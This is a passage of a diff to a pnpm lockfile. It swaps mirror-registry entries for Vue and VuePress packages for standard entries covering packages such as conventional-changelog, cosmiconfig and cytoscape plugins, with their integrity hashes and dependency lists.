sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==} + engines: {node: '>=0.8'} dev: true - registry.npmmirror.com/@vue/reactivity/3.2.45: - resolution: {integrity: sha512-PRvhCcQcyEVohW0P8iQ7HDcIOXRjZfAsOds3N99X/Dzewy8TVhTCT4uXpAHfoKjVTJRA0O0K+6QNkDIZAxNi3A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.2.45.tgz} - name: '@vue/reactivity' - version: 3.2.45 + /conventional-changelog-angular@5.0.13: + resolution: {integrity: sha512-i/gipMxs7s8L/QeuavPF2hLnJgH6pEZAttySB6aiQLWcX3puWDL3ACVmvBhJGxnAy52Qc15ua26BufY6KpmrVA==} + engines: {node: '>=10'} dependencies: - '@vue/shared': registry.npmmirror.com/@vue/shared/3.2.45 + compare-func: 2.0.0 + q: 1.5.1 dev: true - registry.npmmirror.com/@vue/repl/1.3.2_vue@3.2.45: - resolution: {integrity: sha512-5joGOuTFmjaugG3E1h/oP1EXSMcVXRUwLIoo8xvYQnqDrCT6g1SfsH1pfei5PpC5DUxMX1584CekZu6REgGYkQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/repl/-/repl-1.3.2.tgz} - id: registry.npmmirror.com/@vue/repl/1.3.2 - name: '@vue/repl' - version: 1.3.2 - peerDependencies: - vue: ^3.2.13 - dependencies: - vue: registry.npmmirror.com/vue/3.2.45 + /conventional-commit-types@3.0.0: + resolution: {integrity: sha512-SmmCYnOniSsAa9GqWOeLqc179lfr5TRu5b4QFDkbsrJ5TZjPJx85wtOr3zn+1dbeNiXDKGPbZ72IKbPhLXh/Lg==} dev: true - registry.npmmirror.com/@vue/runtime-core/3.2.45: - resolution: {integrity: sha512-gzJiTA3f74cgARptqzYswmoQx0fIA+gGYBfokYVhF8YSXjWTUA2SngRzZRku2HbGbjzB6LBYSbKGIaK8IW+s0A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.2.45.tgz} - name: '@vue/runtime-core' - version: 3.2.45 + /conventional-commits-parser@3.2.4: + resolution: {integrity: sha512-nK7sAtfi+QXbxHCYfhpZsfRtaitZLIA6889kFIouLvz6repszQDgxBu7wf2WbU+Dco7sAnNCJYERCwt54WPC2Q==} + engines: {node: '>=10'} + hasBin: true dependencies: - '@vue/reactivity': registry.npmmirror.com/@vue/reactivity/3.2.45 - '@vue/shared': registry.npmmirror.com/@vue/shared/3.2.45 + JSONStream: 1.3.5 + is-text-path: 1.0.1 + lodash: 4.17.21 + meow: 8.1.2 + split2: 3.2.2 + through2: 4.0.2 dev: true - registry.npmmirror.com/@vue/runtime-dom/3.2.45: - resolution: {integrity: sha512-cy88YpfP5Ue2bDBbj75Cb4bIEZUMM/mAkDMfqDTpUYVgTf/kuQ2VQ8LebuZ8k6EudgH8pYhsGWHlY0lcxlvTwA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.2.45.tgz} - name: '@vue/runtime-dom' - version: 3.2.45 + /convert-source-map@1.8.0: + resolution: {integrity: sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==} dependencies: - '@vue/runtime-core': registry.npmmirror.com/@vue/runtime-core/3.2.45 - '@vue/shared': registry.npmmirror.com/@vue/shared/3.2.45 - csstype: registry.npmmirror.com/csstype/2.6.20 - dev: true - - registry.npmmirror.com/@vue/server-renderer/3.2.45_vue@3.2.45: - resolution: {integrity: sha512-ebiMq7q24WBU1D6uhPK//2OTR1iRIyxjF5iVq/1a5I1SDMDyDu4Ts6fJaMnjrvD3MqnaiFkKQj+LKAgz5WIK3g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.2.45.tgz} - id: registry.npmmirror.com/@vue/server-renderer/3.2.45 - name: '@vue/server-renderer' - version: 3.2.45 - peerDependencies: - vue: 3.2.45 - dependencies: - '@vue/compiler-ssr': registry.npmmirror.com/@vue/compiler-ssr/3.2.45 - '@vue/shared': registry.npmmirror.com/@vue/shared/3.2.45 - vue: registry.npmmirror.com/vue/3.2.45 - dev: true - - registry.npmmirror.com/@vue/shared/3.2.45: - resolution: {integrity: sha512-Ewzq5Yhimg7pSztDV+RH1UDKBzmtqieXQlpTVm2AwraoRL/Rks96mvd8Vgi7Lj+h+TH8dv7mXD3FRZR3TUvbSg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/shared/-/shared-3.2.45.tgz} - name: '@vue/shared' - version: 3.2.45 - dev: true - - registry.npmmirror.com/@vuepress/bundler-vite/2.0.0-beta.53: - resolution: {integrity: sha512-zkqkV+EnoTi7cTRi6xjb0SRg0GzRYwceJu80/6q7Bd+h+VktqhapcHAZ8QaIsq8OxCXbg3sms/A9kg3UxBnRqg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/bundler-vite/-/bundler-vite-2.0.0-beta.53.tgz} - name: '@vuepress/bundler-vite' - version: 2.0.0-beta.53 - dependencies: - '@vitejs/plugin-vue': registry.npmmirror.com/@vitejs/plugin-vue/3.2.0_vite@3.1.8+vue@3.2.45 - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - autoprefixer: registry.npmmirror.com/autoprefixer/10.4.13_postcss@8.4.19 - connect-history-api-fallback: registry.npmmirror.com/connect-history-api-fallback/2.0.0 - postcss: registry.npmmirror.com/postcss/8.4.19 - postcss-load-config: registry.npmmirror.com/postcss-load-config/4.0.1_postcss@8.4.19 - rollup: registry.npmmirror.com/rollup/2.79.1 - vite: registry.npmmirror.com/vite/3.1.8 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - transitivePeerDependencies: - - less - - sass - - stylus - - supports-color - - terser - - ts-node + safe-buffer: 5.1.2 dev: true - registry.npmmirror.com/@vuepress/cli/2.0.0-beta.53: - resolution: {integrity: sha512-MT2y6syOIP17hq/mWiZXTDEViDb3/k5eIVzlvpw4N8oiAr4hwwdCUzQ5vKVd7trn+83KvG5XYOLtjrj1hexlYg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/cli/-/cli-2.0.0-beta.53.tgz} - name: '@vuepress/cli' - version: 2.0.0-beta.53 - hasBin: true + /core-js-compat@3.22.5: + resolution: {integrity: sha512-rEF75n3QtInrYICvJjrAgV03HwKiYvtKHdPtaba1KucG+cNZ4NJnH9isqt979e67KZlhpbCOTwnsvnIr+CVeOg==} dependencies: - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - cac: registry.npmmirror.com/cac/6.7.14 - chokidar: registry.npmmirror.com/chokidar/3.5.3 - envinfo: registry.npmmirror.com/envinfo/7.8.1 - esbuild: registry.npmmirror.com/esbuild/0.15.14 - transitivePeerDependencies: - - supports-color + browserslist: 4.21.9 + semver: 7.0.0 dev: true - registry.npmmirror.com/@vuepress/client/2.0.0-beta.53: - resolution: {integrity: sha512-TDKxlrUvwfWu3QAY4SHeu9mVqBkEoKvuoy0WsKy7x9omEy8+HJG1O9y664bP9SotD52skcKL1iW38nQJR2+AkQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/client/-/client-2.0.0-beta.53.tgz} - name: '@vuepress/client' - version: 2.0.0-beta.53 - dependencies: - '@vue/devtools-api': registry.npmmirror.com/@vue/devtools-api/6.4.5 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 + /core-js@3.31.1: + resolution: {integrity: sha512-2sKLtfq1eFST7l7v62zaqXacPc7uG8ZAya8ogijLhTtaKNcpzpB4TMoTw2Si+8GYKRwFPMMtUT0263QFWFfqyQ==} + requiresBuild: true dev: true - registry.npmmirror.com/@vuepress/core/2.0.0-beta.53: - resolution: {integrity: sha512-s642hM+PpiNphLm/KZvva45OYKX6hWRh2Y+C92TDGzCMxiONI8ZxGLqXRCw5bKw5NGh91s+P4sf3iaY+JxL1Ig==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/core/-/core-2.0.0-beta.53.tgz} - name: '@vuepress/core' - version: 2.0.0-beta.53 + /cose-base@1.0.3: + resolution: {integrity: sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg==} dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/markdown': registry.npmmirror.com/@vuepress/markdown/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - vue: registry.npmmirror.com/vue/3.2.45 - transitivePeerDependencies: - - supports-color - dev: true - - registry.npmmirror.com/@vuepress/markdown/2.0.0-beta.53: - resolution: {integrity: sha512-ohIujGc0tVSsFTBD5kyB0asxLsDtctzrOOgHvaS2fDWqm0MQisjxnQKNFdbWk9bfddAyty0aKN+m/4l0f5lCDw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/markdown/-/markdown-2.0.0-beta.53.tgz} - name: '@vuepress/markdown' - version: 2.0.0-beta.53 - dependencies: - '@mdit-vue/plugin-component': registry.npmmirror.com/@mdit-vue/plugin-component/0.11.1 - '@mdit-vue/plugin-frontmatter': registry.npmmirror.com/@mdit-vue/plugin-frontmatter/0.11.1 - '@mdit-vue/plugin-headers': registry.npmmirror.com/@mdit-vue/plugin-headers/0.11.1 - '@mdit-vue/plugin-sfc': registry.npmmirror.com/@mdit-vue/plugin-sfc/0.11.1 - '@mdit-vue/plugin-title': registry.npmmirror.com/@mdit-vue/plugin-title/0.11.1 - '@mdit-vue/plugin-toc': registry.npmmirror.com/@mdit-vue/plugin-toc/0.11.1 - '@mdit-vue/shared': registry.npmmirror.com/@mdit-vue/shared/0.11.0 - '@mdit-vue/types': registry.npmmirror.com/@mdit-vue/types/0.11.0 - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 - '@types/markdown-it-emoji': registry.npmmirror.com/@types/markdown-it-emoji/2.0.2 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - markdown-it: registry.npmmirror.com/markdown-it/13.0.1 - markdown-it-anchor: registry.npmmirror.com/markdown-it-anchor/8.6.5_ea7kj7wzjkld5jo2noyjqxi764 - markdown-it-emoji: registry.npmmirror.com/markdown-it-emoji/2.0.2 - mdurl: registry.npmmirror.com/mdurl/1.0.1 - transitivePeerDependencies: - - supports-color + layout-base: 1.0.2 dev: true - registry.npmmirror.com/@vuepress/plugin-active-header-links/2.0.0-beta.53: - resolution: {integrity: sha512-rlDQ4CpF/awzHN6l6c5C4/bbiAZisZ2Z9cP2GJJBbxIb6QA6GOrIoHMt6L+9321Q+/jmntjoRJT4yHP/jg8OMA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/plugin-active-header-links/-/plugin-active-header-links-2.0.0-beta.53.tgz} - name: '@vuepress/plugin-active-header-links' - version: 2.0.0-beta.53 + /cose-base@2.1.0: + resolution: {integrity: sha512-HTMm07dhxq1dIPGWwpiVrIk9n+DH7KYmqWA786mLe8jDS+1ZjGtJGIIsJVKoseZXS6/FxiUWCJ2B7XzqUCuhPw==} dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - ts-debounce: registry.npmmirror.com/ts-debounce/4.0.0 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - transitivePeerDependencies: - - supports-color + layout-base: 2.0.1 dev: true - registry.npmmirror.com/@vuepress/plugin-back-to-top/2.0.0-beta.53: - resolution: {integrity: sha512-M7+WIA1e57yHbpUKksVDQdcHceslqeGn0/MldjmZHZ/xosxjM/ZIsw7AiSdmCcISEZBr60IXxDoLqJMNhMNQLQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/plugin-back-to-top/-/plugin-back-to-top-2.0.0-beta.53.tgz} - name: '@vuepress/plugin-back-to-top' - version: 2.0.0-beta.53 + /cosmiconfig-typescript-loader@2.0.2(@types/node@17.0.32)(cosmiconfig@7.0.1)(typescript@4.7.4): + resolution: {integrity: sha512-KmE+bMjWMXJbkWCeY4FJX/npHuZPNr9XF9q9CIQ/bpFwi1qHfCmSiKarrCcRa0LO4fWjk93pVoeRtJAkTGcYNw==} + engines: {node: '>=12', npm: '>=6'} + peerDependencies: + '@types/node': '*' + cosmiconfig: '>=7' + typescript: '>=3' dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - ts-debounce: registry.npmmirror.com/ts-debounce/4.0.0 - vue: registry.npmmirror.com/vue/3.2.45 + '@types/node': 17.0.32 + cosmiconfig: 7.0.1 + ts-node: 10.8.2(@types/node@17.0.32)(typescript@4.7.4) + typescript: 4.7.4 transitivePeerDependencies: - - supports-color + - '@swc/core' + - '@swc/wasm' dev: true - registry.npmmirror.com/@vuepress/plugin-container/2.0.0-beta.53: - resolution: {integrity: sha512-kkEee5iGRHfGVFNBsF2b5vCfjC7dcmU2zqICJq8/UZbhWuyAavpmDovQYLCVh/yTfNE1FlRUOAFFI+jf3bvF9g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/plugin-container/-/plugin-container-2.0.0-beta.53.tgz} - name: '@vuepress/plugin-container' - version: 2.0.0-beta.53 + /cosmiconfig@7.0.1: + resolution: {integrity: sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==} + engines: {node: '>=10'} dependencies: - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/markdown': registry.npmmirror.com/@vuepress/markdown/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - markdown-it: registry.npmmirror.com/markdown-it/13.0.1 - markdown-it-container: registry.npmmirror.com/markdown-it-container/3.0.0 - transitivePeerDependencies: - - supports-color + '@types/parse-json': 4.0.0 + import-fresh: 3.3.0 + parse-json: 5.2.0 + path-type: 4.0.0 + yaml: 1.10.2 dev: true - registry.npmmirror.com/@vuepress/plugin-external-link-icon/2.0.0-beta.53: - resolution: {integrity: sha512-S+IY1PK96Vbuf90IdZBe36kRpMCXrGr9TPaPm1aAQ9GA0Y5QQkTV876SXsb0n1B6Ae2AsSieulB2o4lyoL1LBQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/plugin-external-link-icon/-/plugin-external-link-icon-2.0.0-beta.53.tgz} - name: '@vuepress/plugin-external-link-icon' - version: 2.0.0-beta.53 - dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/markdown': registry.npmmirror.com/@vuepress/markdown/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - vue: registry.npmmirror.com/vue/3.2.45 - transitivePeerDependencies: - - supports-color + /create-codepen@0.0.3: + resolution: {integrity: sha512-Yr9qDyJEZ32V8rZn+R19zomU/0bjHixp11sB+IgnZ5bEb41XJ86iHT3IXTGdqHF2NVx6dsZ1R4DjpxXvA2/dXg==} dev: true - registry.npmmirror.com/@vuepress/plugin-git/2.0.0-beta.53: - resolution: {integrity: sha512-hefVEUhxTgvDcrsIutVBBfJvixR/L6iTQZ9eDAj2z71fOgnVNdN8PNZ9XRDm3nhZrye9X44AmJI82Wk9SlwgVw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/plugin-git/-/plugin-git-2.0.0-beta.53.tgz} - name: '@vuepress/plugin-git' - version: 2.0.0-beta.53 - dependencies: - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - execa: registry.npmmirror.com/execa/6.1.0 - transitivePeerDependencies: - - supports-color + /create-require@1.1.1: + resolution: {integrity: sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==} dev: true - registry.npmmirror.com/@vuepress/plugin-medium-zoom/2.0.0-beta.53: - resolution: {integrity: sha512-hvmO40is/JrHDcSFp73qwX90nXUAaBBZHokZ0I3D61u6acFtI4HU/vpJpu+3oiqjXHQaUNqZO5eDr4EpypGjUg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/plugin-medium-zoom/-/plugin-medium-zoom-2.0.0-beta.53.tgz} - name: '@vuepress/plugin-medium-zoom' - version: 2.0.0-beta.53 + /cross-spawn@7.0.3: + resolution: {integrity: sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==} + engines: {node: '>= 8'} dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - medium-zoom: registry.npmmirror.com/medium-zoom/1.0.6 - vue: registry.npmmirror.com/vue/3.2.45 - transitivePeerDependencies: - - supports-color + path-key: 3.1.1 + shebang-command: 2.0.0 + which: 2.0.2 dev: true - registry.npmmirror.com/@vuepress/plugin-nprogress/2.0.0-beta.53: - resolution: {integrity: sha512-xO8Dqw1yCttY6N+jDpuwE3RG+jQVPE0EieRafTWRO+fGCFobGa/6Zldc4x3+alB2xyXwFAy2495NYgPudNIWeQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/plugin-nprogress/-/plugin-nprogress-2.0.0-beta.53.tgz} - name: '@vuepress/plugin-nprogress' - version: 2.0.0-beta.53 - dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - transitivePeerDependencies: - - supports-color + /crypto-random-string@2.0.0: + resolution: {integrity: sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==} + engines: {node: '>=8'} dev: true - registry.npmmirror.com/@vuepress/plugin-palette/2.0.0-beta.53: - resolution: {integrity: sha512-iYCb397nu/WacvXEaTmeex7lxkjHqRPXLAqBccrD4JWPshP2iu1ajM316jI8sUXSPTZZl4GOQ7+fqbr+UGHdEg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/plugin-palette/-/plugin-palette-2.0.0-beta.53.tgz} - name: '@vuepress/plugin-palette' - version: 2.0.0-beta.53 + /css-select@5.1.0: + resolution: {integrity: sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==} dependencies: - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - chokidar: registry.npmmirror.com/chokidar/3.5.3 - transitivePeerDependencies: - - supports-color + boolbase: 1.0.0 + css-what: 6.1.0 + domhandler: 5.0.3 + domutils: 3.0.1 + nth-check: 2.1.1 dev: true - registry.npmmirror.com/@vuepress/plugin-prismjs/2.0.0-beta.53: - resolution: {integrity: sha512-8zAMHqSPJK8Nw9hP2V12BrAfT88Mmw37Lhi6cbc0S9Ub+wapzZkD9I1SuR1OEssqqMrHL2h1dWx25RqYstn7eA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/plugin-prismjs/-/plugin-prismjs-2.0.0-beta.53.tgz} - name: '@vuepress/plugin-prismjs' - version: 2.0.0-beta.53 - dependencies: - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - prismjs: registry.npmmirror.com/prismjs/1.29.0 - transitivePeerDependencies: - - supports-color + /css-what@6.1.0: + resolution: {integrity: sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==} + engines: {node: '>= 6'} dev: true - registry.npmmirror.com/@vuepress/plugin-theme-data/2.0.0-beta.53: - resolution: {integrity: sha512-fTOWrsO+ql2ZcN1UtF7Xc6+J/XfOAL+4+0Tq6fSky4Gv1HdC2Euey+r+RYgYkTdogdbL2VaUp3s+jhcow5WWAg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/plugin-theme-data/-/plugin-theme-data-2.0.0-beta.53.tgz} - name: '@vuepress/plugin-theme-data' - version: 2.0.0-beta.53 - dependencies: - '@vue/devtools-api': registry.npmmirror.com/@vue/devtools-api/6.4.5 - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - vue: registry.npmmirror.com/vue/3.2.45 - transitivePeerDependencies: - - supports-color + /csstype@3.1.2: + resolution: {integrity: sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==} dev: true - registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53: - resolution: {integrity: sha512-B0qWorGxC3ruSHdZcJW24XtEDEU3L3uPr0xzTeKVfHjOM4b9hN83YzBtW4n/WPnmk1RXVE9266Ulh9ZL5okGOw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/shared/-/shared-2.0.0-beta.53.tgz} - name: '@vuepress/shared' - version: 2.0.0-beta.53 - dependencies: - '@mdit-vue/types': registry.npmmirror.com/@mdit-vue/types/0.11.0 - '@vue/shared': registry.npmmirror.com/@vue/shared/3.2.45 + /custom-event-polyfill@1.0.7: + resolution: {integrity: sha512-TDDkd5DkaZxZFM8p+1I3yAlvM3rSr1wbrOliG4yJiwinMZN8z/iGL7BTlDkrJcYTmgUSb4ywVCc3ZaUtOtC76w==} dev: true - registry.npmmirror.com/@vuepress/theme-default/2.0.0-beta.53: - resolution: {integrity: sha512-FNzEgD2D+ZZRpgF4PfUMCVfKkpzHjmapMlho6Q74d1iqf5cbDeiTyUSWXM2SWHwyZDbdbemjcnfiztb1c215ow==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/theme-default/-/theme-default-2.0.0-beta.53.tgz} - name: '@vuepress/theme-default' - version: 2.0.0-beta.53 + /cytoscape-cose-bilkent@4.1.0(cytoscape@3.23.0): + resolution: {integrity: sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ==} peerDependencies: - sass-loader: ^13.0.2 - peerDependenciesMeta: - sass-loader: - optional: true + cytoscape: ^3.2.0 dependencies: - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - '@vuepress/core': registry.npmmirror.com/@vuepress/core/2.0.0-beta.53 - '@vuepress/plugin-active-header-links': registry.npmmirror.com/@vuepress/plugin-active-header-links/2.0.0-beta.53 - '@vuepress/plugin-back-to-top': registry.npmmirror.com/@vuepress/plugin-back-to-top/2.0.0-beta.53 - '@vuepress/plugin-container': registry.npmmirror.com/@vuepress/plugin-container/2.0.0-beta.53 - '@vuepress/plugin-external-link-icon': registry.npmmirror.com/@vuepress/plugin-external-link-icon/2.0.0-beta.53 - '@vuepress/plugin-git': registry.npmmirror.com/@vuepress/plugin-git/2.0.0-beta.53 - '@vuepress/plugin-medium-zoom': registry.npmmirror.com/@vuepress/plugin-medium-zoom/2.0.0-beta.53 - '@vuepress/plugin-nprogress': registry.npmmirror.com/@vuepress/plugin-nprogress/2.0.0-beta.53 - '@vuepress/plugin-palette': registry.npmmirror.com/@vuepress/plugin-palette/2.0.0-beta.53 - '@vuepress/plugin-prismjs': registry.npmmirror.com/@vuepress/plugin-prismjs/2.0.0-beta.53 - '@vuepress/plugin-theme-data': registry.npmmirror.com/@vuepress/plugin-theme-data/2.0.0-beta.53 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - '@vuepress/utils': registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53 - '@vueuse/core': registry.npmmirror.com/@vueuse/core/9.5.0_vue@3.2.45 - sass: registry.npmmirror.com/sass/1.56.1 - vue: registry.npmmirror.com/vue/3.2.45 - vue-router: registry.npmmirror.com/vue-router/4.1.6_vue@3.2.45 - transitivePeerDependencies: - - '@vue/composition-api' - - supports-color - dev: true - - registry.npmmirror.com/@vuepress/utils/2.0.0-beta.53: - resolution: {integrity: sha512-cYqAspUJoY1J84kbDbPbrIcfaoID5Wb+BUrcWV7x8EFPXTn/KBLgc4/KBxWkdxk8O9V96/bXBDSLlalqLJCmJw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vuepress/utils/-/utils-2.0.0-beta.53.tgz} - name: '@vuepress/utils' - version: 2.0.0-beta.53 - dependencies: - '@types/debug': registry.npmmirror.com/@types/debug/4.1.7 - '@types/fs-extra': registry.npmmirror.com/@types/fs-extra/9.0.13 - '@types/hash-sum': registry.npmmirror.com/@types/hash-sum/1.0.0 - '@vuepress/shared': registry.npmmirror.com/@vuepress/shared/2.0.0-beta.53 - chalk: registry.npmmirror.com/chalk/5.1.2 - debug: registry.npmmirror.com/debug/4.3.4 - fs-extra: registry.npmmirror.com/fs-extra/10.1.0 - globby: registry.npmmirror.com/globby/13.1.2 - hash-sum: registry.npmmirror.com/hash-sum/2.0.0 - ora: registry.npmmirror.com/ora/6.1.2 - upath: registry.npmmirror.com/upath/2.0.1 - transitivePeerDependencies: - - supports-color + cose-base: 1.0.3 + cytoscape: 3.23.0 dev: true - registry.npmmirror.com/@vueuse/core/9.5.0_vue@3.2.45: - resolution: {integrity: sha512-6GsWBsJHEb3sYw15mbLrcbslAVY45pkzjJYTKYKCXv88z7srAF0VEW0q+oXKsl58tCbqooplInahXFg8Yo1m4w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vueuse/core/-/core-9.5.0.tgz} - id: registry.npmmirror.com/@vueuse/core/9.5.0 - name: '@vueuse/core' - version: 9.5.0 + /cytoscape-fcose@2.1.0(cytoscape@3.23.0): + resolution: {integrity: sha512-Q3apPl66jf8/2sMsrCjNP247nbDkyIPjA9g5iPMMWNLZgP3/mn9aryF7EFY/oRPEpv7bKJ4jYmCoU5r5/qAc1Q==} + peerDependencies: + cytoscape: ^3.2.0 dependencies: - '@types/web-bluetooth': registry.npmmirror.com/@types/web-bluetooth/0.0.16 - '@vueuse/metadata': registry.npmmirror.com/@vueuse/metadata/9.5.0 - '@vueuse/shared': registry.npmmirror.com/@vueuse/shared/9.5.0_vue@3.2.45 - vue-demi: registry.npmmirror.com/vue-demi/0.12.5_vue@3.2.45 - transitivePeerDependencies: - - '@vue/composition-api' - - vue + cose-base: 2.1.0 + cytoscape: 3.23.0 dev: true - registry.npmmirror.com/@vueuse/metadata/9.5.0: - resolution: {integrity: sha512-4M1AyPZmIv41pym+K5+4wup3bKuYebbH8w8BROY1hmT7rIwcyS4tEL+UsGz0Hiu1FCOxcoBrwtAizc0YmBJjyQ==, registry: 